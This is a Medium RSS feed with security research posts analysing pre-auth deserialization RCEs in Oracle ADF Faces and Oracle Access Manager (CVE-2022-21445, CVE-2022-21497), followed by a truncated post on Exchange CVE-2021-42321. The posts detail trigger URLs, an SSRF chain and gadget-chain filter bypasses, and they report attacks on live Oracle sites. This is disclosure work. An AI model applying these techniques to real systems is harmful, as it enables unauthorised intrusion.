<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Peterjson on Medium]]></title>
        <description><![CDATA[Stories by Peterjson on Medium]]></description>
        <link>https://medium.com/@peterjson?source=rss-9d0bc610db35------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*XzlgQMqu4ejGCrSNsGk_zQ.jpeg</url>
            <title>Stories by Peterjson on Medium</title>
            <link>https://medium.com/@peterjson?source=rss-9d0bc610db35------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 06:34:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@peterjson/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Miracle - One Vulnerability To Rule Them All]]></title>
            <link>https://peterjson.medium.com/miracle-one-vulnerability-to-rule-them-all-c3aed9edeea2?source=rss-9d0bc610db35------2</link>
            <guid isPermaLink="false">https://medium.com/p/c3aed9edeea2</guid>
            <category><![CDATA[cve-2022-21445]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[cve-2022-21497]]></category>
            <category><![CDATA[adf]]></category>
            <category><![CDATA[miracles]]></category>
            <dc:creator><![CDATA[Peterjson]]></dc:creator>
            <pubDate>Thu, 23 Jun 2022 10:36:58 GMT</pubDate>
            <atom:updated>2022-07-08T01:01:08.169Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*rAPA6tLAKWoLEgMi.jpg" /><figcaption>me and Jang trying to pwn Oracle :D</figcaption></figure><h4><strong># Introduction</strong></h4><p>As mentioned in <a href="https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316">Jang</a> blog, We (me and <a href="https://medium.com/u/6ac51190917c">Jang</a>) found a mega 0-day. After <a href="https://www.oracle.com/security-alerts/cpuapr2022.html">April Critical Patch</a>, finally the vulnerability was patched properly. If you never known about this vulnerability, please patch your system ASAP !</p><h4><strong># Summary</strong></h4><p>Let us name this attack <strong>The Miracle Exploit</strong> because it affects many products based on Oracle Fusion Middleware and Oracle online systems. <strong>Miracle</strong> means Middleware <strong>Fusion</strong> with Oracle</p><p>Firstly, we found many pre-auth RCEs which affect Oracle’s Product in Oracle Middleware Fusion and they also affect Oracle online systems, Oracle Cloud Infrastructure. After a month try to explore as much as we can and end up with multiple pre-auth RCEs in many products inside Oracle Middleware.</p><p>One more thing to note, any website was developed by ADF Faces framework are affected. This means many Oracle’s online systems, Oracle Cloud Infrastructure are also affected!</p><p>After disclosed this bug with Oracle, Oracle took almost 6 months to patch this vulnerability in each product inside Oracle Fusion Middleware. We also reported pre-auth RCEs to some big companies via their bug bounty program after the patch was released to help them mitigate this issues.</p><p>Now after a period of time after Oracle released the patch, we decided to publish this blog to share the detail of Miracle exploit. We very very excited at the time (6 months ago), but now we don’t have that feeling anymore because Oracle took <strong>too long</strong> to patch this vulnerability, more than the standard. Anyway, this is a cool exploit, a cool story me and <a href="https://medium.com/u/6ac51190917c">Jang</a> worked together in a month so let we tell you about our story</p><h4><strong># The Story</strong></h4><p>This bug was found in Oracle Fusion Middleware while I reviewed the source code of ADF Faces (a component in Oracle Fusion Middleware).After a day , I can confirmed that I found a pre-auth RCE in ADF Faces framework and that’s my favourite bug type, Deserialization of untrusted data.</p><p>But at that time I only achieved pre-auth RCE on Oracle Fusion Middleware 12.x version. But most online instances are 10.3.x so now I need to find a super-gadget chain for 10.3.x, so I share this with <a href="https://medium.com/u/6ac51190917c">Jang</a> and we rule them all after a month.</p><h4># <strong>The start of the journey</strong></h4><p>Last year, we worked with the Zero Day Initiative to co-disclose many pre-auth bugs affecting Oracle Business Intelligence to Oracle. And this time we have a chance to look back Oracle Business Intelligence again and hope to find more bugs on Oracle BI</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*V_NvTfyxr97HNOsZ" /><figcaption><a href="https://www.zerodayinitiative.com/advisories/published/"><em>https://www.zerodayinitiative.com/advisories/published/</em></a></figcaption></figure><ol><li><strong>Oracle ADF Faces Deserialization of Untrusted Data Leads Remote Code Execution — CVE-2022–21445</strong></li></ol><p>While investigating Oracle BI, we found an interesting Servlet name <em>org.apache.myfaces.trinidad.webapp.ResourceServlet </em>which was mapped into these paths</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/0*tc-EEPUohgokszKK" /><figcaption><em>servlet mappings</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-0TeJBBcmt2W66yw3Qd13g.png" /><figcaption><em>org.apache.myfaces.trinidad.webapp.ResourceServlet.doGet()</em></figcaption></figure><p>This servlet try to fetch the resource in request and try to find that resource via <em>org.apache.myfaces.trinidad.resource.ResourceLoader.getResource()</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZjVVebL7bFZ_E01O-MBz8g.png" /><figcaption>org.apache.myfaces.trinidad.resource.ResourceLoader.getResource()</figcaption></figure><p>There are many Classes override <em>org.apache.myfaces.trinidad.resource.ResourceLoader.findResource()</em><strong><em> </em></strong>method</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TDhhb_sy3VS3EABZ" /></figure><p>After a while reviewing each override method, <em>oracle.adfinternal.view.resource.rich.RemoteApplicationResourceLoader </em>stands out!</p><p>The bug is inside the logic of <em>RemoteApplicationResourceLoader </em>when it try to restore the resource from the user input and leads to deserialization of untrusted data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*E5awFVmYC_K100AW" /><figcaption><em>oracle.adfinternal.view.resource.rich.RemoteApplicationResourceLoader</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_ykDwt_bGdR7KAcW" /><figcaption><em>oracle.adfinternal.view.resource.rich.RemoteApplicationResourceLoader._getPathBean()</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Vbchc4x8vr_dHAJ9" /><figcaption><em>oracle.adfinternal.view.rich.remote.resources.URLEncoderPathBean.getInstanceFromString()</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FWOtKr1KlQUxq0xe" /><figcaption><em>oracle.adf.view.rich.util.SerializationUtils.fromURLEncodingString()</em></figcaption></figure><p>Cool, we have the Deserialization sink now we need to find the source to reach this sink. Looking for a while we see in <em>oracle.adfinternal.view.resource.rich.RenderKitResourceLoader </em>constructor, there are many defined paths with mapped loader to handle each path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OmU9YHKlJ71GwKax" /></figure><p>So the URL to trigger this bug looks like this http://HOST:PORT/contextApp/afr/<strong>foo</strong>/remote/<strong>bar</strong>/</p><p>With:</p><p><strong>foo</strong>: this can be any string</p><p><strong>bar</strong>: this is our payload</p><p>Next, we use <em>CVE-2020-14644</em> to exploit this Deserialization bug, because this chain is not filtered in deserialization and we end up with a successfully pre-auth RCE on Oracle BI.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F6KCprMHxnvY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D6KCprMHxnvY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F6KCprMHxnvY%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/4f92cddc1bab86dd67ae9cb964d54b32/href">https://medium.com/media/4f92cddc1bab86dd67ae9cb964d54b32/href</a></iframe><h4># Exploring more affected products</h4><p>We noticed that, it’s a bug inside ADF Faces framework so any products, any applications are built from ADF are also affected, we spin up some VM and setting up these products to confirm and we almost achieve pre-auth RCEs these products</p><ul><li>Oracle Business Intelligence</li><li>Oracle Enterprise Manager</li><li>Oracle Identity Management</li><li>Oracle SOA Suite</li><li>Oracle WebCenter Portal</li><li>Oracle Application Testing Suite</li><li>Oracle Transportation Management</li></ul><p>For Oracle Access Manager, we end up with 2 ways to achieve pre-auth RCE. The first one is published already by <a href="https://medium.com/u/6ac51190917c">Jang</a>, you can revisited it again <a href="https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316">here</a>.</p><p>We want to focus on this because OAM plays an important role on each company infrastructure. Also, many Oracle’s online services / cloud services run OAM as SSO service for users.</p><p>Now I want to share with you the second pre-auth RCE exploit in OAM</p><h4># Pre-auth SSRF (CVE-2022–21497) + ADF Faces <strong>Deserialization</strong> leads to pre-auth RCE in OAM</h4><p>As we know that, exploiting ADF deserialization can be triggered from a GET request. We noticed that when installing OAM, port 14100 which plays a role as SSO and is public to the internet for users to authenticate and on that app didn’t use ADF. But on console port 7001, there<strong><em> /em/</em></strong> (for Oracle Enterprise Manager) or <strong><em>/oamconsole/</em></strong> (Console for OAM) which are heavily based on ADF. So, we only focus on the web application on port 14100 to find bugs like SSRF or XXE to achieve full chain pre-auth RCE!</p><p>With awesome research about <a href="https://blog.tint0.com/2021/09/pinging-xmlsec.html">Ping’ing XMLSec</a> from security researcher - tint0. We recommend you read this awesome research again to understand what we explain below</p><p>We continue exploring OAM and focus on triggering <em>dereference() </em>behavior. But OAM already prevent tint0 bugs with OSDT (Oracle Security Developer Tools).Now we need to learn how OAM handling SAML request between SP and IDP</p><p>In the flow handling SAML Response Message, OAM try to process the <em>EncryptedAssertion </em>element<em>,</em> we already know the KeyInfo element is processed before any kind of authentication check which is mentioned in tint0&#39;s blog. This means we can assume that we in pre-auth context !</p><p>In SAML, we can request with HTTP-Based or SOAP-Based, we focused in SOAP-based because we think that finding XXE/SSRF in SOAP more easier.</p><p>Inside <em>oracle.security.fed.security.crypto.enc.DomXmlDecrypter.decryptElement() </em>, OAM trying to get the KeyInfo from user input</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*msTicOLffVls67R3" /><figcaption><em>oracle.security.fed.security.crypto.engine.impl.SAML20XmlCryptoEngine.processIncoming()</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gbJRGtqPllEVemBr" /><figcaption><em>oracle.security.fed.security.crypto.enc.DomXmlDecrypter.getDecryptionKey()</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1pCr8t_G_RxqeG2u" /></figure><p>Inside <em>oracle.security.xmlsec.keys.RetrievalMethod.getKeyInfoData() </em>function, <em>dereference()</em> will be triggered. This is where the bug came from, we cannot trigger <em>ResolverDirectHTTP</em> or <em>ResolverLocalFilesystem</em> like tint0. But we can make use of the Transformation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*G2vTQ80UpqgmFYWh" /><figcaption><em>oracle.security.xmlsec.dsig.ObjectReference.dereference()</em></figcaption></figure><p>Due to OSDT restriction, we cannot use XSLT transform but XPath will be a suitable candidate! While exploring some helpful XPath functions we end up with <strong><em>document() </em></strong><a href="https://developer.mozilla.org/en-US/docs/Web/XPath/Functions/document">function</a> which will help us making an GET HTTP request to local web application based on ADF (EM or OAM Console on port 7001) and finally achieve pre-auth RCE on Oracle Access Manager</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VXzSCwZG51ZU8TQw" /><figcaption>Soap Based SAML request to <a href="http://HOST:PORT/contextApp/afr/foo/remote/bar/">http://HOST:PORT/</a>oamfed/idp/soap/</figcaption></figure><p>This is considered pre-auth because getting the KeyInfo is needed before performing a cryptography check for the EncryptedAssertion !</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FcrXKjOyc1Lk%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DcrXKjOyc1Lk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FcrXKjOyc1Lk%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6f56cdad95c73cb53baf4755bab4aef1/href">https://medium.com/media/6f56cdad95c73cb53baf4755bab4aef1/href</a></iframe><h4># Universal gadget chain for 10.3.x</h4><p>There’s a big problem that, most of public targets are based on 10.3.x instead of 12.x. Somehow, <em>CVE-2020–14664</em> can’t work in 10.3.x because of class loader (ClassNotFoundException was thrown when<em> </em>deserialization happend<em>).</em></p><p>It feels like: We got a big gun but don’t have any bullets then the gun is useless. I’m obsessed with the perfection, so we can not accept a Pre-Auth Deserialization is reported without a RCE!</p><p>In the <a href="https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316">Jang</a> blog, <a href="https://medium.com/u/6ac51190917c">Jang</a> promise to share the gadget chain for 10.3.x, now we let you know the detail. This is the way <a href="https://medium.com/u/6ac51190917c">Jang</a> found the new gadget chain and overcome the class loader limitation</p><p>The class loader from child to parent when deserialization happend is:</p><ul><li><em>GenericClassLoader</em> &gt; <strong>FilteringClassLoader</strong> &gt; <em>GenericClassLoader</em> &gt; <em>Launcher$AppClassLoader</em></li></ul><p>Note: <strong>FilteringClassLoader </strong>is a classloader which Oracle implements to apply blacklist for some dangerous class in deserialization.</p><p>When we call the <strong>ObjectInputStream</strong>.<em>readObject()</em> the<em> </em>serialized object will be reconstruct using the current classloader — from the place where <strong>ObjectInputStream</strong>.<em>readObject()</em> is called.</p><p>With current classloader, the loadClass() will follow this order, from the child to parent: <strong>GenericClassLoader</strong>, if not found then will search in <strong>FilteringClassLoader</strong>, …</p><p>And here is the content of <strong>FilteringClassLoader</strong>.<em>findClass()</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/0*4pgXuyywpYfEuxFL" /></figure><p>If the className match the filtered pattern, then it will throws <em>ClassNotFound</em> and stop finding from the parent class. And here is the filter list:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/0*Qk6-SqkNIm8DvW2h" /></figure><p>You can see the “<em>com.tangosol</em>, <em>org.python</em>. …”, that’s the reason why although we saw the library “<strong>coherence.jar</strong>” has already been loaded but when deserialization, it throws the ClassNotFound error.</p><p>After a few days, I’ve found that it’s not difficult to bypass this 🤣.</p><p>As mentioned above, <strong>ObjectInputStream</strong>.<em>readObject()</em> will use<em> </em>current classloader to load the class of the serialized object.</p><p>So, It’s very straight foward to bypass this limitation, just find a call to readObject() from an override of <strong>readObject</strong>(<em>ObjectInputStream</em>), for example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/0*cwXa54TXqLSKB0fr" /></figure><p>We use the <strong>ConcurrentHashMap</strong> to wrap the serialized gadgetchain:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/0*eHrJ5SVzLKUqCkNe" /></figure><p>You can clearly see that, before call <strong>ObjectInputStream</strong>.<em>readObject()</em>, the classloader is <strong>Launcher$AppClassLoader</strong> not the <strong>FilteringClassLoader</strong></p><p>Another thing, as we know, in the new version of Weblogic, the Serialization Blacklist is applied to global runtime, which mean every you call <strong>ObjectInputStream</strong>.<em>readObject()</em>, it will be filtered by a rich blacklist.</p><p>But the problem is, the blacklist is applied at <strong>Weblogic</strong> runtime, not the OAM / ADF context, so it’s more flexible to craft the RCE gadget chain.</p><p>Here is what we got now:</p><ul><li>We have a insecure deserialization from the OAM / ADF application context without any restriction</li><li>Most of Weblogic 10.3.6 libraries and Coherence.jar are loaded into classpath.</li></ul><p>We’ve tried to use some common gadget chain like CommonsCollections-series, Spring, CommonsBeanUtils … But most of them worked on local setup but not the public targets. We still don’t know why it didn’t work yet.</p><p>But don’t worry, we still have the most interesting library of Deserialization in the classpath: the <strong>coherence.jar</strong>. It comes with many interesting classes, which can be craft to a RCE gadget chain.</p><p>In 2019, <a href="https://medium.com/u/6ac51190917c">Jang</a> found the CVE-2020–2555 gadget chain by mining the coherence library, after that, there’re many other gadgets abusing the <strong>ValueExtractor</strong>.<em>extract() </em>method family like: <strong>MvelExtractor</strong>, <strong>FilterExtractor</strong>, <strong>ReflectionExtractor</strong> ….</p><p>Having got headache of these method family, then Oracle patched it using a hard way: they check for the target Object before invoking, like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/0*q5Bo2ogKauKJQEPA" /></figure><p>If the <strong>oTarget</strong> isn’t in the blacklist, it will continue to invoke that method,</p><p>Hmm, sound familiar with …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*kXJMllRHgd58D-ej" /></figure><p>*Oracle is oracle …</p><p>And here is the Reflection blacklist:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/0*OaHuUe-lkYUfHYa0" /></figure><p>It will match every classes are instance of: <strong>java.lang.Class</strong>, <strong>java.lang.System</strong> and <strong>java.lang.Runtime</strong>.</p><p>In the CVE-2020–2555, I’ve used the ChainedExtractor to chain the extractors list in to a RCE gadget chain, but this method uses <strong>java.lang.Class</strong> to get and invoke the destination method and it involves <strong>java.lang.Runtime</strong>, so it totally got filtered here.</p><p>But do not forget that, we’re still able to invoke any public method of any Serializable object!</p><p>After looking for hours, I found an interesting class <strong>RemoteInvocation</strong>, which is <strong>Serializable</strong> and also has an interesting method <em>invoke()</em>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/0*GnYrUfLOv05M4Hra" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/0*0yGGz76Qlzg72qPC" /></figure><p>The method <strong>RemoteInvocation</strong>.<em>invoke()</em> uses Reflect API to get and invoke method from fully manipulated parameter: <strong>methodName</strong>, <strong>parameterType</strong> and <strong>arguments</strong>. This class is the last puzzle we need to complete the filtered method <strong>ReflectionExtractor</strong>.<em>extract().</em></p><p>As you know, <strong>ReflectionExtractor</strong>.<em>extract()</em> doesn’t allow the invocation of a instance with type of <strong>java.lang.Class</strong>, so the execution chain gets a little bit tricky to work, below picture described the idea of this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-MPBlDehHLehl8xW" /></figure><p>We used <strong>ChainedExtractor</strong> to reuse the result of previous method execution as an argument of next method. This Extractor chain contains two <strong>ReflectionExtractor</strong> instances.</p><p>First instance of <strong>ReflectionExtractor</strong> will call <strong>RemoteInvocation</strong>.<em>invoke() </em>with the argument is another <strong>RemoteInvocation</strong> instance. So the call graph will follow this order:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/194b62a2015d8509c3f983be27be50f9/href">https://medium.com/media/194b62a2015d8509c3f983be27be50f9/href</a></iframe><p>In the second call of <strong>RemoteInvocation</strong>.<em>invoke()</em>, it will get the method <em>newInstance()</em> from <strong>java.lang.Class</strong> (this method is available by default), and then invoke with the class <strong>ShellSession</strong> as the argument. In short, this is same as “<em>new</em> <strong>ShellSession()</strong>”.</p><p>After finishing the first stage, the return object is an instance of <strong>ShellSession</strong>, which is also not filtered by the blacklist.</p><p>The second stage is very straight ahead, just call the <strong>ShellSession</strong>.<em>exec() </em>to execute command using MVEL syntax.</p><h4># The patch</h4><p>The patch was applied in <em>oracle.adfinternal.view.rich.remote.resources.URLEncoderPathBean.getInstanceFromString()</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uZbaedZHBkzphSSgyJIlsg.jpeg" /><figcaption>original</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*Bicy3oa-Ax78HW1TMzOt6w.jpeg" /><figcaption>the patch</figcaption></figure><p>It took 6 months for Oracle to patch this vulnerability with only some small changes :)</p><h4><strong># Exploiting Oracle Online Systems</strong></h4><p>In the demonstration we sent to Oracle, we chose<em> edelivery.oracle.com , businessnetwork.oracle.com</em> which are popular for user to download Oracle’s Products and this site is based on ADF Faces framework.</p><p>This is a check script which we implement for Miracle Exploit and we only proof that we can getting some information from Oracle’s instead of execute command because it’s maybe affected Oracle’s system and leak sensitive information!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DAtC51S08wLtxAuj" /><figcaption><em>edelivery.oracle.com</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oBJPVkTEJczsGgAy" /><figcaption><em>businessnetwork.oracle.com</em></figcaption></figure><p>Last but not least, we successfully achieved pre-auth RCE on <em>login.oracle.com </em>which is play an important role in oracle’s online services</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*wg9k3s7EUDlQANtf1SL68Q.png" /><figcaption><em>login.oracle.com</em></figcaption></figure><p>Why we hack some Oracle’s sites? Because we want to demonstrate the impact to Oracle and let them know this vulnerability is super dangerous , it affects Oracle system and Oracle’s customers. That’s why we want Oracle take an action ASAP. But as you can see, 6 months for Oracle to patch it, I don’t know why, but we have to accept it and follow Oracle’s policy.</p><h4><strong># Timeline</strong></h4><ul><li>25/10/2021, We sent first report to Oracle</li><li>29/10/2021, The issues were accepted by Oracle and they were investigating</li><li>02/11/2021, We sent second report to Oracle about the exploit affect 10.3.x version</li><li>18/01/2022, Oracle fix the first pre-auth RCE in OAM found by <a href="https://medium.com/u/6ac51190917c">Jang</a> in January Critical Patch</li><li>19/04/2022, Oracle fix the ADF Faces vulnerability in April Critical Patch</li><li>23/06/2022, We published this blog</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c3aed9edeea2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Some notes about Microsoft Exchange Deserialization RCE (CVE-2021–42321)]]></title>
            <link>https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852?source=rss-9d0bc610db35------2</link>
            <guid isPermaLink="false">https://medium.com/p/110d04e8852</guid>
            <category><![CDATA[deserialization]]></category>
            <category><![CDATA[tianfu]]></category>
            <category><![CDATA[2021]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[exchange]]></category>
            <dc:creator><![CDATA[Peterjson]]></dc:creator>
            <pubDate>Fri, 19 Nov 2021 07:58:32 GMT</pubDate>
            <atom:updated>2021-11-19T08:13:13.050Z</atom:updated>
            <content:encoded><![CDATA[<p>Vietnamese version: <a href="https://testbnull.medium.com/some-notes-of-microsoft-exchange-deserialization-rce-cve-2021-42321-f6750243cdcd">https://testbnull.medium.com/some-notes-of-microsoft-exchange-deserialization-rce-cve-2021-42321-f6750243cdcd</a></p><h3><strong>INTRO</strong></h3><p>It’s been several months since our last story about <a href="https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1"><strong>ProxyShell Exploit</strong></a> and recently Exchange was pwned again at Tianfu Cup 2021. We’re very excited about that Exploit and we’re waiting for Tuesday Patch of MS Exchange this month to analyse it.</p><p>There’s already a <a href="https://blog.khonggianmang.vn/phan-tich-ban-va-thang-11-cua-microsoft-exchange/">blog </a>analysis about CVE-2021–42321 and just published yesterday. But we think that blog didn’t cover enough technical information and highlight notes so we decided to write this blog in English to let everyone understand what happened inside this CVE!</p><p>From the advisory of Microsoft, it stated that this CVE is a post-auth RCE. We just wonder that is a pre-auth RCE because it costs $200.000 when you have a successful demonstration at Tianfu Cup 2021. But with the patch from MS we only know that MS patch the post-auth RCE, maybe MS let the customer have time to patch the post-auth RCE and later release another patch for an auth bypass vulnerability?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/0*tShzuC6jpLGtyvOg.png" /><figcaption><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321</a></figcaption></figure><p>If we look carefully at the advisory of Microsoft we can notice that only Exchange 2016 CU 21,22 and Exchange 2019 CU 10,11 . This means the only recent latest version of Exchange 2016,2019 are vulnerable to this CVE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/0*kRZ9nKq385Yfe7Za.png" /><figcaption><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321</a></figcaption></figure><p>Microsoft also release a patch for Exchange 2016,2019 before the Tianfu Cup happened and Exchange was pwned after this patch, so we need to diff the patch October and November 2021.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/0*O6pj113EAYD4rrbC.png" /><figcaption><a href="https://www.catalog.update.microsoft.com/Search.aspx?q=Exchange%202016">https://www.catalog.update.microsoft.com/Search.aspx?q=Exchange%202016</a></figcaption></figure><p>After decompiling with DnSpy and diffing with Win Merge we got about 275 files were changed (╯°□°）╯︵ ┻━┻.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/0*ikV98wBeBFPtNSO0.png" /></figure><p>The patch almost patching for Deserialization Sink inside Exchange, so we can be sure that this time it’s a deserialization vulnerability.</p><h3><strong>THE SINK</strong></h3><p>We noticed that some files were removed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*XccDSjrNcvyRrUssFyc82A.png" /></figure><p>There’s a funny point inside <strong>TypedBinaryFormatter</strong> is when deserialize the <strong>binder </strong>value was not passed correctly to <strong>ExchangeBinaryFormatterFactory </strong>. As we already know that <strong>SerializationBinder </strong>is used to control the actual types used during serialization and deserialization. This can be a mechanism deserialization vulnerability but in <strong>TypedBinaryFormatter </strong>we have a chance for it again :) .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/0*eTyoDx4bycLSLXfj.png" /><figcaption>Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter</figcaption></figure><p>Without the <strong>binder </strong>variable pass to <strong>ExchangeBinaryFormatterFactory.CreateBinaryFormatter() </strong>, <strong>ExchangeBinaryFormatterFactory </strong>will use <strong>ChainedSerializationBinder </strong>as <strong>SerializationBinder </strong>to validate<strong> </strong>actual types used during deserialization</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/0*XaLnRzd9S56MRCv9.png" /><figcaption>Microsoft.Exchange.Diagnostics.ExchangeBinaryFormatterFactory.CreateBinaryFormatter()</figcaption></figure><p>When passing the argument from <strong>TypedBinaryFormatter.Deserialize()</strong> to <strong>ExchangeBinaryFormatterFactory.CreateBinaryFormatter() </strong>Exchange initialize <strong>ChainedSerializationBinder </strong>(implement SerializationBinder)<strong> </strong>with:</p><ul><li>strictMode = <strong>false</strong></li><li>allowList = System.DelegateSerializationHolder</li><li>allowedGenerics = null</li></ul><p>Let’s have a look at <strong>ChainedSerializationBinder.BindToType()</strong> which will validate the class for Deserialization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/0*gu1omHhsUyagjOjv.png" /><figcaption>ChainedSerializationBinder.BindToType()</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*0saJVp_UHZ7csqQK.png" /><figcaption>ChainedSerializationBinder.ValidateTypeToDeserialize()</figcaption></figure><p><strong>For Block 1:</strong></p><ul><li>If the strictMode is <strong>False </strong>and our class is not in allow list, and in blacklist , Exchange will throw <strong>InvalidOperationException</strong></li><li>In this function, it only catches <strong>BlockedDeserializationException </strong>so<strong> InvalidOperationException </strong>will not be caught, so if Exchange through <strong>InvalidOperationException </strong>our deserialization chain will be broken</li></ul><p><strong>For Block 2:</strong></p><ul><li>If there’s a <strong>BlockedDeserializationException </strong>while ValidateTypeToDeserialize() was thrown, it will be caught in catch block but Exchange only throws that Exception when the value of the flag is True, but remembered that the strictMode value was passed to <strong>ChainedSerializationBinder </strong>is always False ! So there’s Exchange will catch <strong>BlockedDeserializationException</strong> safely and Exchange didn’t affect our Deserialization can continue without crashing.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*VPLYXc6OKsZm6das3J4q7A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/0*L-PsBhrtP2Cp7F9P.png" /></figure><p>Alright, now let’s have a look at <strong>ChainedSerializationBinder’s </strong>blacklist. It’s a big mistake of Exchange developers …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tv5Lo5kyqopaBpxiNy2d4Q.png" /></figure><p>When deserialize ClaimsPrincipal, it also triggers another BinaryFormatter.Deserialize() without any filter. At this time, we can be sure that we found the Sink of this CVE</p><pre>System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod()<br>   System.Security.Claims.ClaimsPrincipal.DeserializeIdentities()<br>       BinaryFormatter.Deserialize()</pre><h3><strong>THE SOURCE</strong></h3><p>With Dnspy we tracing back to find where we can trigger deserialization</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/0*GOiHxJ9cYCN6XW0R.png" /></figure><p>After some handy steps we found that, we can go from <strong>OrgExtensionSerializer</strong>.<strong><em>TryDeserialize()</em></strong> to <strong>ClientExtensionCollectionFormatter</strong>.<strong><em>Deserialize()</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/0*gk4BFzz_7w_TkSqW.png" /></figure><p>It gets the Stream from userConfiguration to deserialize it and sound like with a normal user we can set that setting also.</p><figure><img alt="" 